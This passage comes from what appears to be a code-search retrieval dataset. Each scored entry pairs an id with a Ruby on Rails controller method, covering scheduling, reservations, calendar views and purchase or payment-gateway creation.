end", "title": "" }, { "docid": "9fe92dd7de75f46bd1cfbbe4a4d02b19", "score": "0.55208474", "text": "def show\n @search = @room.reservations.search(params[:q])\n @reservations = @search.result.where(\"initial_date > ?\", Date.today).paginate(:page => params[:page], :per_page => 4)\n end", "title": "" }, { "docid": "7457dcc243288d7d088a28d2ef252a35", "score": "0.55199224", "text": "def show\n redirect_to '/calender/weekly'\n end", "title": "" }, { "docid": "1aecb283445e58810d85f5520d5d2e2a", "score": "0.551731", "text": "def set_admin_schedule\n @admin_schedule = Clapme::Schedule.find(params[:id])\n end", "title": "" }, { "docid": "45ff4541f877bdc71d8e5bbf585feef0", "score": "0.5502834", "text": "def index\n # expiring the schedules if needed, whenever the results are displayed to the user. This is a backup to the whenever cron job\n # TODO - check in case the user had the session open since a long time.\n # Commented mark_as_expired since it is makeing this action slow and added this in cron.\n # TeacherSchedule.mark_as_expired\n @teacher = Teacher.find(params[:teacher_id])\n @teacher.current_user = current_user\n\n center_scheduler_center_ids = current_user.accessible_center_ids(:center_scheduler)\n zao_zone_ids = current_user.accessible_zone_ids(:zao)\n\n teacher_schedules = []\n # get the schedules for part-time teachers, from centers for which current_user is center_scheduler (or above)\n unless center_scheduler_center_ids.empty?\n teacher_schedules += @teacher.teacher_schedules.joins(\"JOIN centers_teacher_schedules ON centers_teacher_schedules.teacher_schedule_id = teacher_schedules.id\").joins(\"JOIN teachers ON teachers.id = teacher_schedules.teacher_id\").where(\"teacher_schedules.end_date >= ? AND centers_teacher_schedules.center_id IN (?) AND teachers.full_time = ?\", (Time.zone.now.to_date - 1.month.from_now.to_date), center_scheduler_center_ids, false).group(\"role\", \"coalesce(teacher_schedules.program_id, teacher_schedules.created_at *10 +teacher_schedules.id)\").order(\"teacher_schedules.start_date DESC\")\n end\n\n # get the schedules for full-time teachers attached to zones, for which current_user is zao (or above)\n unless zao_zone_ids.empty?\n # primary zones\n teacher_schedules += @teacher.teacher_schedules.joins(\"JOIN teachers ON teachers.id = teacher_schedules.teacher_id\").\n joins(\"JOIN zones_teachers on teachers.id = zones_teachers.teacher_id\").\n where(\"teacher_schedules.end_date >= ? AND zones_teachers.zone_id IN (?) AND teachers.full_time = ?\", (Time.zone.now.to_date - 1.month.from_now.to_date), zao_zone_ids, true).\n group(\"role\",\"coalesce(teacher_schedules.program_id, teacher_schedules.created_at *10 +teacher_schedules.id)\").\n order(\"teacher_schedules.start_date DESC\")\n # secondary zones\n teacher_schedules += @teacher.teacher_schedules.joins(\"JOIN teachers ON teachers.id = teacher_schedules.teacher_id\").\n joins(\"JOIN secondary_zones_teachers on teachers.id = secondary_zones_teachers.teacher_id\").\n where(\"teacher_schedules.end_date >= ? AND secondary_zones_teachers.zone_id IN (?) AND teachers.full_time = ?\", (Time.zone.now.to_date - 1.month.from_now.to_date), zao_zone_ids, true).\n group(\"role\",\"coalesce(teacher_schedules.program_id, teacher_schedules.created_at *10 +teacher_schedules.id)\").\n order(\"teacher_schedules.start_date DESC\")\n end\n # get the schedules for self, i.e. current user is the teacher\n if User.current_user == @teacher.user\n if @teacher.full_time?\n # filter out block-requested for full-time teachers\n @teacher.teacher_schedules.each{ |ts|\n teacher_schedules << ts unless ts.state == ::ProgramTeacherSchedule::STATE_BLOCK_REQUESTED\n }\n else\n teacher_schedules += @teacher.teacher_schedules\n end\n end\n\n @teacher_schedules = teacher_schedules.uniq\n\n respond_to do |format|\n if @teacher.can_view_schedule?\n format.html\n format.json { render json: @teacher_schedules }\n else\n format.html { redirect_to teacher_path(@teacher), :alert => \"[ ACCESS DENIED ] Cannot perform the requested action. Please contact your coordinator for access.\" }\n format.json { render json: @teacher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87309ba2bf5624711092e447d170bc07", "score": "0.5497811", "text": "def update\n if validate_inventory_date\n do_update\n redirect_to grid_inventories_path(:pool_id => params[:pool_id], :inv_start => params[:inv_start])\n else\n redirect_to grid_inventories_path(:pool_id => params[:pool_id], :inv_start => params[:inv_start]), :flash => {:inventory => params}\n end\n end", "title": "" }, { "docid": "6be4a9222d3e19a4d48b8a9193aab393", "score": "0.54937154", "text": "def update\n if params[:schedule]\n params[:schedule][:bookings] = Bookings.find(params[:schedule][:bookings])\n else\n params[:schedule] = {}\n params[:schedule][:bookings] = @schedule.bookings\n params[:schedule][:bookings] << Booking.find(params[:add_bookings]) if params[:add_bookings]\n params[:schedule][:bookings].reject! { |e| params[:remove_bookings].include? e.id.to_s } if params[:remove_bookings]\n params[:schedule][:bookings] = params[:schedule][:bookings].flatten\n end\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cbe2aa65b316029f42cba1c72a3fc796", "score": "0.5489984", "text": "def show\n # Ok so this kinda breaks, well, everything, but the id passed in is the user that we want to see, not the schedule.\n month = params[:month].to_i unless params[:month].blank?\n year = params[:year].to_i unless params[:year].blank?\n @date = Date.today.at_beginning_of_month.change(:month => month, :year => year )\n\n @lates = Late.where(user_id: current_user.id, date: Date.today) if @date.month == Date.today.month\n\n @daily_schedules = DailySchedule.new\n add_user_schedules(Schedule.over_dates(@date.at_beginning_of_month, @date.at_end_of_month).where(user_id: params[:id]))\n add_to_schedules(Holiday.where(''), :holidays)\n add_to_schedules(Leave.where(user_id: current_user.id), :leaves)\n\n respond_with(@daily_schedules, @date, @lates)\n end", "title": "" }, { "docid": "fa3d27820f15ba944fd3e01b36b7c147", "score": "0.5489519", "text": "def update\n @scan = find_scan( params.require( :id ) )\n\n update_params = strong_params( @scan )\n schedule_params = update_params.delete(:schedule)\n\n respond_to do |format|\n if @scan.update_attributes( update_params ) &&\n @scan.schedule.update_attributes( schedule_params )\n\n format.html { redirect_to :back, notice: 'Scan was successfully updated.' }\n format.js { render '_scan.js' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.js { render '_scan.js' }\n format.json { render json: @scan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "536d8990e4146742b67e39768b8316df", "score": "0.54883415", "text": "def update\n @schedule = Schedule.find(params[:id])\n\n times =[]\n count_days = 0\n days = params[:day].join(\", \") if params[:day]\n\n (0..6).each do |i|\n if params[:hour][i].present? && params[:minute][i].present?\n times<< \"#{params[:hour][i]}:#{ params[:minute][i]}\"\n end\n end\n\n count_days = params[:day].count if params[:day]\n count_times = times.count\n\n if count_days == count_times\n\n if count_days && count_times != 0\n times = times.join(\", \")\n @schedule.day = days\n @schedule.time = times\n end\n\n\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n else\n render action: \"edit\"\n end\n\n end", "title": "" }, { "docid": "68dfb0dd3b5aff4cd02fc72026ba2c96", "score": "0.5487769", "text": "def update\n @event = Event.find(params[:id])\n @event.professional = @salon.professionals.find(params[:professionals])\n @event.service = @event.professional.services.find(params[:service])\n @event.client = @salon.clients.find(params[:client])\n @event.end_at = params[:end_at]\n @event.start_at = params[:start_at]\n @event.reschedule = false\n respond_to do |format|\n if @event.save \n flash[:notice] = \"Evento alterado com sucesso\"\n format.html { redirect_to([:admin,@event])}\n format.xml { head :ok }\n format.js {render \"update\"}\n else\n flash[:alert] = \"Houve um erro ao tentar alterar seu evento\"\n format.js {render :js => \"window.location.reload()\"}\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8fae160348d90986c5c2fd067bcb8f48", "score": "0.548745", "text": "def shift_schedule_row(location_id, date)\n page.first(\"#location#{location_id}_#{date.strftime(\"%Y-%m-%d\")}_events\")\n end", "title": "" }, { "docid": "3443dcc6ad934c28ccfa96ec12198ec9", "score": "0.5485729", "text": "def index\n #@calendars = Calendar.all\n @user_cals = Calendar.other_user_json(current_user)\n if(params[:new_schedule] == 1)\n flash.now[:notice] = \"Studyhall #{params[:schedule_name]} scheduled successfully.\"\n end\n flash.now[:notice] = \"Successfully synced your Google calendar.\" if (params[:google_link] == \"1\")\n respond_to do |format|\n format.html # index.html.erb\n format.js { render \"index\" }\n #format.json { render json: @calendars }\n end\n end", "title": "" } ]
e7c55332f92b148ba9707f877b1ec278
POST /purchases POST /purchases.json
[ { "docid": "6b3cc47ee108864d30a8614133e30c19", "score": "0.0", "text": "def create\n @feature_request = FeatureRequest.new(feature_request_params)\n\n respond_to do |format|\n if @feature_request.save\n format.html { redirect_to 'help', notice: 'Feature request was successfully created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end", "title": "" } ]
[ { "docid": "1a2357bc0ae5e6c36628154794808afd", "score": "0.7179486", "text": "def create\n @purchase = @current_user.purchases.new(purchase_params)\n\n if @purchase.save\n render :show\n else\n render json: @purchase.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e85df3e66aebc6eca8d7027df0d19ce2", "score": "0.70911485", "text": "def create\n @purchase = Purchase.new(params[:purchase])\n\n respond_to do |format|\n if @purchase.save\n count = 0\n purchases_data = Array.new(@purchase.quantity).map do |e|\n count += 1\n { \"id\" => @purchase.order_id,\n \"productId\" => @purchase.product.id,\n \"productName\" => @purchase.product.name,\n \"customerId\" => 150,\n \"customerFirstName\" => \"Olle\",\n \"customerLastName\" => \"Martensson\" }\n end\n send_data({\"batch-id\" => @purchase.order_id, \"purchases\" => purchases_data }.to_json)\n\n format.html { redirect_to products_path, notice: \"Thank you for your purchase of #{pluralize(@purchase.quantity, \"unit\")} of \\\"#{@purchase.product.name}\\\"! (order id ##{@purchase.order_id})\" }\n format.json { render json: @purchase, status: :created, location: @purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8588dd22561e312be2cc7e4c7309ac42", "score": "0.69168454", "text": "def purchases; JSON[Api::get_purchases(self)]; end", "title": "" }, { "docid": "0f2d62d9966286d63f277471bc14be8d", "score": "0.6908773", "text": "def create\n @carts = Cart.where(id: purchase_params[:cart_ids], purchased: false)\n total_amount = @carts.pluck(:total_price).sum\n\n @carts.update_all(purchased: true)\n @purchase = Purchase.new(total_price: total_amount)\n @purchase.user_id = current_user.id\n if @purchase.save\n render json: @purchase, status: 200\n else\n render json: {errors: @purchase.errors.full_messages}, status: 400\n end\n end", "title": "" }, { "docid": "4d35825a74961339db09b21d05d0e864", "score": "0.6903857", "text": "def create\n \n purchases = params[:purchases]\n return if are_empty_params(params[:purchases])\n @activity = Activity.find_by id: params[:activity_id].to_i\n if @activity!=nil\n update(@activity)\n return\n end\n @activity = Activity.new date: convert_date_to_i(params[:date]), comment: params[:comment], a_type: 'nabavka_ovaca', location: params[:location], total_costs:params[:total_costs]\n \n purchases.each do |p|\n add_purchase(p)\n end\n save_activity(@activity)\n end", "title": "" }, { "docid": "13251ec9380a8383b8ab7020cfbff26c", "score": "0.68570954", "text": "def create\n @purchase = current_user.purchases.build(purchase_params)\n @purchase.set_price\n @purchase.save\n @purchase.create_checkout_session(dashboard_url, new_purchase_url(plan_type: @purchase.plan_type))\n respond_to do |format|\n if @purchase.save\n format.html { render 'purchases/checkout_session_redirect' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cfb0aac41aba61a4f60690880b719355", "score": "0.68471515", "text": "def create\n @purchase = Purchase.new(purchase_params.merge(user_id: current_user.id))\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "609f0b92c55678d3ae99a18fd4c237f4", "score": "0.68291336", "text": "def create\n @purchase = Purchase.new(params[:purchase])\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @purchase, status: :created, location: @purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3cdaca6c7f1cdcb17288a3e57b21a46", "score": "0.6822894", "text": "def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3cdaca6c7f1cdcb17288a3e57b21a46", "score": "0.6822894", "text": "def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3cdaca6c7f1cdcb17288a3e57b21a46", "score": "0.6822894", "text": "def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b3eccabfebf7c5352542f7ade2ee905", "score": "0.6817792", "text": "def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: \"Purchase was successfully created.\" }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a6e9ea4496af2f99ec9ff96b34b6f15", "score": "0.6797698", "text": "def create\n @purchase = Purchase.new(purchase_params)\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @purchase, status: :created, location: @purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9618d3797ffe0d78b459ab391e776526", "score": "0.67638946", "text": "def create\n @purchase = Purchase.new(params[:purchase])\n @purchase.user_id = current_user.id\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @purchase, status: :created, location: @purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9968ccef26d06b860b5accd2091d820", "score": "0.6755074", "text": "def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to purchases_url, notice: '采购单创建成功!' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e49ef9ffd6aa1acf5bafbe25d2895a44", "score": "0.67291754", "text": "def create\n # Remove template row data\n params[:purchase][:product_purchases_attributes].shift if params[:purchase].present? && params[:purchase][:product_purchases_attributes].present?\n\n @purchase = Purchase.new(purchase_params)\n @purchase.user = current_user\n @purchase.purchaser = current_user\n @purchase.store = current_store\n\n if params[:type].eql?(\"purchase\")\n @purchase.status = :purchased\n end\n\n respond_to do |format|\n if @purchase.save\n\n @purchase.code = build_code(\"PC\", @purchase) unless @purchase.code.present?\n\n total = 0\n @purchase.product_purchases.each do |pp|\n final_price = pp.quantity * pp.unit_price - pp.discount_money\n pp.final_price = final_price\n total += final_price\n pp.save\n end\n\n @purchase.discount_money = 0 if @purchase.discount_money.nil?\n @purchase.paid = 0 if @purchase.paid.nil?\n @purchase.total_price = total\n @purchase.price = total - @purchase.discount_money\n @purchase.dept = @purchase.paid + @purchase.discount_money - total\n @purchase.save\n\n format.html { redirect_to @purchase, notice: 'Tạo đơn nhập hàng thành công.' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7cb96222cb7108c53bc712a62f3acbe2", "score": "0.67245156", "text": "def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render action: 'show', status: :created, location: @purchase }\n else\n format.html { render action: 'new' }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7cb96222cb7108c53bc712a62f3acbe2", "score": "0.67245156", "text": "def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render action: 'show', status: :created, location: @purchase }\n else\n format.html { render action: 'new' }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab6288fe45db0508f511b08f26b40e32", "score": "0.6723566", "text": "def create\n @purchase = Purchase.new(purchase_params)\n @purchase.user_id = current_user.id\n \n \n \n\n respond_to do |format|\n if @purchase.save\n format.html { redirect_to @purchase, notice: \"Purchase was successfully created.\" }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new, status: :unprocessable_entity }\n # format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "718d3cf2fbcfde341d9389102c7cda31", "score": "0.6721926", "text": "def purchase\n response = EXPRESS_GATEWAY.purchase(price_in_cents, express_purchase_options)\n transactions.create!(action: \"purchase\", amount: price_in_cents, response: response)\n cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end", "title": "" }, { "docid": "154f2f3572b8771aed8cca8faa22362e", "score": "0.67130816", "text": "def create\n @purchase = @item.purchases.new(purchase_params.merge(user: current_user))\n\n if @purchase.save\n if !@purchase.using_cod && @purchase.amount - @purchase.points > 0\n @purchase.delay_for(1.hour).expire\n @payment = build_paypal_payment\n if @payment.create\n @purchase.update(paypal_id: @payment.id)\n redirect_to @payment.links.select { |link| link.rel == 'approval_url' }.first.href\n else\n redirect_to items_path, error: \"Could not create PayPal payment. Please try again later. Error: #{@payment.error.inspect}\"\n end\n else\n @purchase.complete\n redirect_to items_path, success: success_message\n end\n else\n render :new\n end\n end", "title": "" }, { "docid": "d782fc7976ccbc0ee91680105604e34a", "score": "0.668552", "text": "def purchase\n amount = params[:subtotal] || 15\n email = params[:email] ? params[:email] : 'si+gift-cards@talkable.com'\n\n @purchase = {\n email: email,\n order_number: rand(0..10000000),\n subtotal: amount,\n campaign_tags: 'default',\n custom_properties: {\n amount: amount\n }\n }\n\n Talkable::API::Origin.create(Talkable::API::Origin::PURCHASE, @purchase)\n end", "title": "" }, { "docid": "ce689cb15c465e7e1fa8b929c40fd399", "score": "0.6678795", "text": "def create\n @purchased = Purchased.new(purchased_params)\n\n respond_to do |format|\n if @purchased.save\n format.html { redirect_to @purchased, notice: 'Purchased was successfully created.' }\n format.json { render :show, status: :created, location: @purchased }\n else\n format.html { render :new }\n format.json { render json: @purchased.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f11a890fc1e88b2702bbfa698bb3e077", "score": "0.66697097", "text": "def complete \n \n # TOTAL must be in cents \n @total = params[:order_total]\n @total_in_cents = (@total * 100).to_i\n \n # Confirm purchase\n purchase = gateway.purchase(@total_in_cents,\n :ip => request.remote_ip,\n :payer_id => params[:payer_id],\n :token => params[:token]\n )\n\n # FAIL?\n if !purchase.success?\n @message = purchase.message\n render :action => 'error'\n return\n else \n \n # Fetch items\n items = session[:purchase_ids]\n \n puts '-----------------------'\n puts 'Array size' + items.size.to_s\n puts '-----------------------'\n \n # Loop through each\n items.each do |i| \n \n puts 'CREATE PRODUCT'\n \n @product = Product.find(i)\n \n # Create purchase\n @purchase = Purchase.new\n @purchase.user = current_user\n @purchase.product = @product\n @purchase.confirmed = true\n @purchase.amount = @total\n @purchase.save\n \n puts '--------- LOL'\n puts @purchase.errors\n end\n \n redirect_to '/purchases'\n \n end\n end", "title": "" }, { "docid": "337b8a8edf1f54f8829367e87acf37b9", "score": "0.65912604", "text": "def api_purchase_create\n\t\t# user token doesn't exist\n\t\t# token is test case\n\t\t# token is invalid\n\t\t# token exists\n\t\tif params[:token].nil?\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json=>\"{'error':'a user token is required'}\"}\n\t\t\tend\n\t\tend\n\t\tif params[:credit_card_token].nil?\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json=>\"{'error':'a credit card token is required'}\"}\n\t\t\tend\n\t\tend\n\t\tif params[:product_id].nil?\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json=>\"{'error':'no product id'}\"}\n\t\t\tend\n\t\tend\n\t\t@user = User.find_by_token(params[:token])\n\t\t@product = Product.find_by_id(params[:product_id])\n\t\tif @user.nil?\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json=>\"{'error':'your user token is invalid'}\"}\n\t\t\tend\n\t\tend\n\t\tif @product.nil?\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json=>\"{'error':'product doesn't exist'}\"}\n\t\t\tend\n\t\tend\n\t\tif @user.credit_card_token != params[:credit_card_token]\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json=>\"{'error':'wrong credit card'}\"}\n\t\t\tend\n\t\tend\n\t\t@s = @user.shipping_addresses.find_by_default(true)\n\t\tif @s.nil?\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json=>\"{'error':'user doesn't have a shipping address'}\"}\n\t\t\tend\n\t\tend\n\t\t@invoice = Invoice.new(\n\t\t\t\t:user_id =>@user.id,\n\t\t\t\t:product_id => @product.id,\n\t\t\t\t:shipping_address_id=> @s.id,\n\t\t\t\t:credit_card_token =>@user.credit_card_token,\n\t\t\t\t:price => @product.price\n\t\t)\n\t\tif @invoice.save\n\t\t\t# TODO: send receipt email\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json\n\t\t\tend\n\t\telse\n\t\t\trespond_to do |format|\n\t\t\t\tformat.json {render :json=>\"{'error':'failed to save invoice, please try again'}\"}\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "8bd37589be9440e96a47d9b490361d47", "score": "0.6582447", "text": "def make_purchases\n @sku_data.keys.each { |sku| make_purchase @sku_data[sku] }\n end", "title": "" }, { "docid": "c2ab035ecf1a3e817f93ec1f46c0e626", "score": "0.6576751", "text": "def create\n @customer_purchase = CustomerPurchase.new(params[:customer_purchase])\n\n respond_to do |format|\n if @customer_purchase.save\n format.html { redirect_to @customer_purchase, notice: 'Customer purchase was successfully created.' }\n format.json { render json: @customer_purchase, status: :created, location: @customer_purchase }\n else\n format.html { render action: \"new\" }\n format.json { render json: @customer_purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b6f1ac119846b82f797a4a487d035074", "score": "0.65712667", "text": "def purchase\n response = GATEWAY.purchase(price_in_cents, credit_card, purchase_options)\n transactions.create!(:action => \"purchase\", :ammount => price_in_cents, :response => response)\n #cart.update_attribute(:purchased_on, Time.now) if response.success?\n response.success? \n end", "title": "" }, { "docid": "7d4e731b2b16ff6179f9557ad9ad4e30", "score": "0.65660244", "text": "def create\n @purchase = Purchase.new(product: @product, user: current_user)\n @purchase.token = SecureRandom.hex\n \n urls = {\n :abandoned => abandoned_purchases_url,\n :notification => notification_purchases_url,\n :redirect => purchases_url\n }\n\n puts \"urls\", urls\n\n if @purchase.save\n response = PagSeguroService.create_payment_request(@purchase, current_user, urls)\n if response.errors.empty?\n redirect_to response.url\n else\n render :new, notice: response.errors.join(\"\\n\")\n end\n else\n render :new\n end\n end", "title": "" }, { "docid": "f5a26c35f91f04fb682f5e61f74f385e", "score": "0.65618974", "text": "def purchase\r\n response = GATEWAY.purchase(price_in_cents, credit_card, purchase_options)\r\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\r\n cart.update_attribute(:purchased_at, Time.now) if response.success?\r\n response.success?\r\n end", "title": "" }, { "docid": "14aeb4f6796b6485c405601b1453f90e", "score": "0.65607077", "text": "def purchase\n \n #calculate the remaining options\n @options = {\n :order_id => '123',\n :billing_address => {\n :address1 => '',\n :city => '',\n :state => '',\n :country => '',\n :zip => ''\n },\n }\n \n # process the payment\n response = GATEWAY.purchase(price_in_cents, credit_card, @options)\n \n #record the transaction\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response )\n \n # return the response from the payment\n response.success?\n end", "title": "" }, { "docid": "e359d4439c856071fe68030102a8c841", "score": "0.6558039", "text": "def purchase_offer body\n post(\"/shipments\", body: body.to_json)\n end", "title": "" }, { "docid": "8320c708b52aed19219bf5de64e3af95", "score": "0.6549446", "text": "def create\n @purchases_addon = PurchasesAddon.new(purchases_addon_params)\n\n respond_to do |format|\n if @purchases_addon.save\n format.html { redirect_to @purchases_addon, notice: 'Purchases addon was successfully created.' }\n format.json { render :show, status: :created, location: @purchases_addon }\n else\n format.html { render :new }\n format.json { render json: @purchases_addon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14a72a7efa7d4599763bfb1dcbc8f785", "score": "0.65455234", "text": "def create\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save!\n format.html do\n redirect_to(\n seller_product_purchases_path(@seller, @product),\n notice: 'Purchase was successfully created.'\n )\n end\n format.json do\n render(\n { controller: :products, action: :index },\n status: :created, location: @purchase\n )\n end\n else\n flash[:error] = 'Purchase not saved'\n format.html { render :index }\n format.json do\n render json: @purchase.errors, status: :unprocessable_entity\n end\n end\n end\n end", "title": "" }, { "docid": "04e7613ea9502a7595ff6ab72951ebe0", "score": "0.653159", "text": "def purchases\n render json: @current_user.invoices.where(invoice_status_id:12).order(created_at: :desc).map { |x| purchases_filter(x) }\n end", "title": "" }, { "docid": "0bfc0f54b6fd5b455b53e847747567fa", "score": "0.65275115", "text": "def purchase_params\n params.require(:purchase).permit(:item_id, :quantity, :date)\n end", "title": "" }, { "docid": "0bfc0f54b6fd5b455b53e847747567fa", "score": "0.65275115", "text": "def purchase_params\n params.require(:purchase).permit(:item_id, :quantity, :date)\n end", "title": "" }, { "docid": "d7051d2d0f6257b5511cc78012bcee2f", "score": "0.6516533", "text": "def create\n\n @purchase = current_order.purchases.build(params[:purchase])\n @purchase.is_delivered = false\n @purchase.distance = (1..20).to_a.sort_by{rand}.pop#random distance for number of miles\n #@purchase = Purchase.new(params[:purchase])\n #@purchase.add_preferences_from_order(current_order)\n\n @purchase.order.user.amount_spent += @purchase.order.total_price\n\n @purchase.order.user.save\n \n session[:order_id] = nil #order id is now nil\n respond_to do |format|\n if @purchase.save\n #Order.destroy(session[:order_id])\n #session[:order_id] = nil\n format.html { redirect_to store_url, notice: 'Thank you for your purchase.'}\n #format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.json { render json: @purchase, status: :created, location: @purchase }\n else\n #@order = current_order\n format.html { render action: \"new\" }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b46c8347f650410a10ac31d076054ecd", "score": "0.6492767", "text": "def purchase_params\n params.require(:purchase).permit(:user_id, :product_id, :quantity)\n end", "title": "" }, { "docid": "e353c0b5282dfaa106b34bcbb0da5271", "score": "0.648624", "text": "def purchase_params\n params.require(:purchase).permit(:receipt_id, :products_id, :quantity, :purchase_price)\n end", "title": "" }, { "docid": "ee1a9444f5917466f1bfe6f304709502", "score": "0.6483306", "text": "def purchase\n if product.purchase\n render json: { message: \"You have bought one #{product.name}\" }, status: :ok\n else\n release json: { message: \"You cannot buy #{product.name}\" }, status: :unprocessible\n end\n end", "title": "" }, { "docid": "63c7079f900a9f0302391f69e679d636", "score": "0.64803785", "text": "def purchase_params\n params.require(:purchase).permit(:user_id, :product_id, :status)\n end", "title": "" }, { "docid": "8bf48d6d71fada03e99593082de3ee51", "score": "0.6478013", "text": "def create\n @purchase_item = PurchaseItem.new(purchase_item_params)\n\n respond_to do |format|\n if @purchase_item.save\n format.html { redirect_to @purchase_item, notice: 'Purchase item was successfully created.' }\n format.json { render :show, status: :created, location: @purchase_item }\n else\n format.html { render :new }\n format.json { render json: @purchase_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0da5d01332c8fd7c0abc939805aabd7a", "score": "0.6473873", "text": "def purchase_item\n\t\tid = params[:id]\n\t\tpurchase = Purchase.find(id)\n\t\tpurchase.purchased = true\n\n\t\tif (purchase.save)\n\t\t\tmsg = { :status => \"ok\", :message => \"Success!\" }\n\t\telse \n\t\t\tmsg = { :status => \"error\", :message => purchase.errors.full_messages[0]}\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => msg }\n\t\tend\n\tend", "title": "" }, { "docid": "0309dfc5ef1a39e53453aa82384b6f8e", "score": "0.6470851", "text": "def create\n @admin_purchase = Admin::Purchase.new(admin_purchase_params)\n\n respond_to do |format|\n if @admin_purchase.save\n format.html { redirect_to @admin_purchase, notice: \"Purchase was successfully created.\" }\n format.json { render :show, status: :created, location: @admin_purchase }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @admin_purchase.errors, status: :unprocessable_entity }\n end\n 